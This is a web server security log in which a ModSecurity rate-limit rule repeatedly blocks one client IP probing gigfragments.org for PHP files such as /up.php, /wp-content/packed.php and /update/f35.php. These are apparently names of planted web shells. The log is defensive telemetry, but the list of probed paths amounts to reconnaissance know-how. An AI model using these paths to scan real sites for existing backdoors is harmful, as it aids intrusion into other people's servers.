[Tue Nov 25 20:08:22.771849 2025] [:error] [pid 28740:tid 28793] [client 20.196.125.130:30490] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aSWcNlppQCoYxWW6V0WOKAAAAkI"]
[Tue Nov 25 20:08:23.171636 2025] [:error] [pid 28740:tid 28796] [client 20.196.125.130:30603] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aSWcN1ppQCoYxWW6V0WOKQAAAkU"]
[Tue Nov 25 20:08:23.617338 2025] [:error] [pid 14168:tid 14171] [client 20.196.125.130:30346] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aSWcN_R-ZDU0QEgAIItvNgAAAMA"]
[Tue Nov 25 20:08:24.038799 2025] [:error] [pid 14078:tid 14137] [client 20.196.125.130:30708] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aSWcONVXYbb0ii_rVoJP7QAAAIA"]
[Tue Nov 25 20:08:24.505340 2025] [:error] [pid 14077:tid 14113] [client 20.196.125.130:30592] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aSWcOBG9n7UHEkwDTyijZQAAAEM"]
[Tue Nov 25 20:08:24.849091 2025] [:error] [pid 14078:tid 14154] [client 20.196.125.130:30690] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aSWcONVXYbb0ii_rVoJP7gAAAJE"]
[Tue Nov 25 20:08:25.201648 2025] [:error] [pid 14168:tid 14186] [client 20.196.125.130:30554] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auth.php"] [unique_id "aSWcOfR-ZDU0QEgAIItvNwAAAM8"]
[Tue Nov 25 20:08:26.321331 2025] [:error] [pid 28842:tid 29004] [client 20.196.125.130:30479] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aSWcOtNmoaPf6T4-6C2gPgAAA04"]
[Tue Nov 25 20:08:26.879054 2025] [:error] [pid 28740:tid 28799] [client 20.196.125.130:30647] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aSWcOlppQCoYxWW6V0WOLAAAAkg"]
[Tue Nov 25 20:08:27.528868 2025] [:error] [pid 28842:tid 29025] [client 20.196.125.130:30714] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aSWcO9NmoaPf6T4-6C2gPwAAA1c"]
[Tue Nov 25 20:08:28.203489 2025] [:error] [pid 2987:tid 3009] [client 20.196.125.130:30668] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/packed.php"] [unique_id "aSWcPM-djEt-pTzPxnyrugAAAVQ"]
[Tue Nov 25 20:08:28.538661 2025] [:error] [pid 14077:tid 14126] [client 20.196.125.130:30692] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aSWcPBG9n7UHEkwDTyijagAAAFA"]
[Tue Nov 25 20:08:29.119111 2025] [:error] [pid 14168:tid 14185] [client 20.196.125.130:30661] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aSWcPfR-ZDU0QEgAIItvPAAAAM4"]
[Tue Nov 25 20:08:30.224358 2025] [:error] [pid 14076:tid 14088] [client 20.196.125.130:30556] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aSWcPnsB4Gz6Qw-pvBsfuwAAAAc"]
[Tue Nov 25 20:08:30.793916 2025] [:error] [pid 14077:tid 14128] [client 20.196.125.130:30665] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aSWcPhG9n7UHEkwDTyijbgAAAFI"]
[Tue Nov 25 20:08:31.296199 2025] [:error] [pid 28836:tid 28960] [client 20.196.125.130:30630] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aSWcP5wNRsoxcLQGkTfL8wAAAsU"]
[Tue Nov 25 20:08:31.788063 2025] [:error] [pid 28842:tid 29026] [client 20.196.125.130:30694] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aSWcP9NmoaPf6T4-6C2gSwAAA1g"]
[Tue Nov 25 20:08:32.196656 2025] [:error] [pid 28740:tid 28815] [client 20.196.125.130:30657] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aSWcQFppQCoYxWW6V0WORAAAAlg"]
[Tue Nov 25 20:08:32.846601 2025] [:error] [pid 28842:tid 29000] [client 20.196.125.130:30613] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abt.php"] [unique_id "aSWcQNNmoaPf6T4-6C2gUAAAA0o"]
[Tue Nov 25 20:08:33.593262 2025] [:error] [pid 14078:tid 14140] [client 20.196.125.130:30683] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aSWcQdVXYbb0ii_rVoJQIwAAAIM"]
[Tue Nov 25 20:08:34.363825 2025] [:error] [pid 2987:tid 3003] [client 20.196.125.130:30561] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aSWcQs-djEt-pTzPxnyr1gAAAU4"]
[Tue Nov 25 20:08:35.499134 2025] [:error] [pid 28842:tid 29002] [client 20.196.125.130:30547] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aSWcQ9NmoaPf6T4-6C2gUgAAA0w"]
[Tue Nov 25 20:08:35.952735 2025] [:error] [pid 28739:tid 28763] [client 20.196.125.130:30538] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jmfi2.php"] [unique_id "aSWcQxxGpKmlkG4FexSDXAAAAgE"]
[Tue Nov 25 20:08:36.552315 2025] [:error] [pid 28740:tid 28794] [client 20.196.125.130:30478] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "aSWcRFppQCoYxWW6V0WOSgAAAkM"]
[Tue Nov 25 20:08:37.490383 2025] [:error] [pid 28740:tid 28814] [client 20.196.125.130:30626] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "aSWcRVppQCoYxWW6V0WOTAAAAlc"]
[Tue Nov 25 20:08:37.940987 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30605] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "aSWcRRG9n7UHEkwDTyijfgAAAEU"]
[Tue Nov 25 20:08:38.463193 2025] [:error] [pid 28609:tid 28636] [client 20.196.125.130:30541] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/layout.php"] [unique_id "aSWcRiGGdT-nZJVs3x3MkwAAAZI"]
[Tue Nov 25 20:08:39.490922 2025] [:error] [pid 14078:tid 14145] [client 20.196.125.130:30564] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aSWcR9VXYbb0ii_rVoJQKwAAAIg"]
[Tue Nov 25 20:08:39.878649 2025] [:error] [pid 14078:tid 14158] [client 20.196.125.130:30643] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aSWcR9VXYbb0ii_rVoJQLQAAAJU"]
[Tue Nov 25 20:08:40.465787 2025] [:error] [pid 14168:tid 14177] [client 20.196.125.130:30534] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aSWcSPR-ZDU0QEgAIItvTgAAAMY"]
[Tue Nov 25 20:08:40.905107 2025] [:error] [pid 28740:tid 28801] [client 20.196.125.130:30500] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aSWcSFppQCoYxWW6V0WOTwAAAko"]
[Tue Nov 25 20:08:41.295063 2025] [:error] [pid 14078:tid 14143] [client 20.196.125.130:30700] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aSWcSdVXYbb0ii_rVoJQMAAAAIY"]
[Tue Nov 25 20:08:41.703089 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30509] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aSWcSc-djEt-pTzPxnyr3wAAAVI"]
[Tue Nov 25 20:08:42.018539 2025] [:error] [pid 14077:tid 14118] [client 20.196.125.130:30562] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aSWcShG9n7UHEkwDTyijiQAAAEg"]
[Tue Nov 25 20:08:42.495530 2025] [:error] [pid 28836:tid 28965] [client 20.196.125.130:30604] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aSWcSpwNRsoxcLQGkTfMAAAAAso"]
[Tue Nov 25 20:08:42.926223 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30660] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aSWcShG9n7UHEkwDTyijiwAAAEU"]
[Tue Nov 25 20:08:43.364661 2025] [:error] [pid 28836:tid 28959] [client 20.196.125.130:30641] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aSWcS5wNRsoxcLQGkTfMAQAAAsQ"]
[Tue Nov 25 20:08:44.494284 2025] [:error] [pid 28836:tid 29007] [client 20.196.125.130:30548] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aSWcTJwNRsoxcLQGkTfMAwAAAtE"]
[Tue Nov 25 20:08:44.917172 2025] [:error] [pid 28740:tid 28806] [client 20.196.125.130:30666] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nope.php"] [unique_id "aSWcTFppQCoYxWW6V0WOVgAAAk8"]
[Tue Nov 25 20:08:45.616053 2025] [:error] [pid 28836:tid 28963] [client 20.196.125.130:30650] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aSWcTZwNRsoxcLQGkTfMBQAAAsg"]
[Tue Nov 25 20:08:46.014487 2025] [:error] [pid 28740:tid 28800] [client 20.196.125.130:30625] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aSWcTlppQCoYxWW6V0WOWQAAAkk"]
[Tue Nov 25 20:08:46.705007 2025] [:error] [pid 14076:tid 14096] [client 20.196.125.130:30616] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aSWcTnsB4Gz6Qw-pvBsf0wAAAA8"]
[Tue Nov 25 20:08:47.322906 2025] [:error] [pid 14078:tid 14153] [client 20.196.125.130:30569] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/js.php"] [unique_id "aSWcT9VXYbb0ii_rVoJQMgAAAJA"]
[Tue Nov 25 20:08:47.879677 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30620] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aSWcTxG9n7UHEkwDTyijkwAAAFY"]
[Tue Nov 25 20:08:48.391171 2025] [:error] [pid 28739:tid 28782] [client 20.196.125.130:30528] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aSWcUBxGpKmlkG4FexSDagAAAhQ"]
[Tue Nov 25 20:08:48.828898 2025] [:error] [pid 28739:tid 28768] [client 20.196.125.130:30593] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aSWcUBxGpKmlkG4FexSDawAAAgY"]
[Tue Nov 25 20:08:49.795522 2025] [:error] [pid 14168:tid 14172] [client 20.196.125.130:30628] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/index.php"] [unique_id "aSWcUfR-ZDU0QEgAIItvVQAAAME"]
[Tue Nov 25 20:08:50.668754 2025] [:error] [pid 2987:tid 2997] [client 20.196.125.130:30645] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "aSWcUs-djEt-pTzPxnyr7QAAAUg"]
[Tue Nov 25 20:08:51.057597 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30644] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "aSWcUxG9n7UHEkwDTyijnAAAAEA"]
[Tue Nov 25 20:08:51.403038 2025] [:error] [pid 14078:tid 14141] [client 20.196.125.130:30578] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "aSWcU9VXYbb0ii_rVoJQPwAAAIQ"]
[Tue Nov 25 20:08:52.040954 2025] [:error] [pid 28842:tid 29003] [client 20.196.125.130:30701] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "aSWcVNNmoaPf6T4-6C2gbAAAA00"]
[Tue Nov 25 20:08:52.441224 2025] [:error] [pid 14077:tid 14111] [client 20.196.125.130:30557] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aSWcVBG9n7UHEkwDTyijoAAAAEE"]
[Tue Nov 25 20:08:52.781800 2025] [:error] [pid 28740:tid 28801] [client 20.196.125.130:30464] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aSWcVFppQCoYxWW6V0WOhQAAAko"]
[Tue Nov 25 20:08:53.131047 2025] [:error] [pid 2987:tid 3013] [client 20.196.125.130:30382] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aSWcVc-djEt-pTzPxnyr8AAAAVg"]
[Tue Nov 25 20:08:53.553093 2025] [:error] [pid 14168:tid 14183] [client 20.196.125.130:30539] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/f35.php"] [unique_id "aSWcVfR-ZDU0QEgAIItvXgAAAMw"]
[Tue Nov 25 20:08:54.818928 2025] [:error] [pid 14076:tid 14093] [client 20.196.125.130:30580] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aSWcVnsB4Gz6Qw-pvBsf5gAAAAw"]
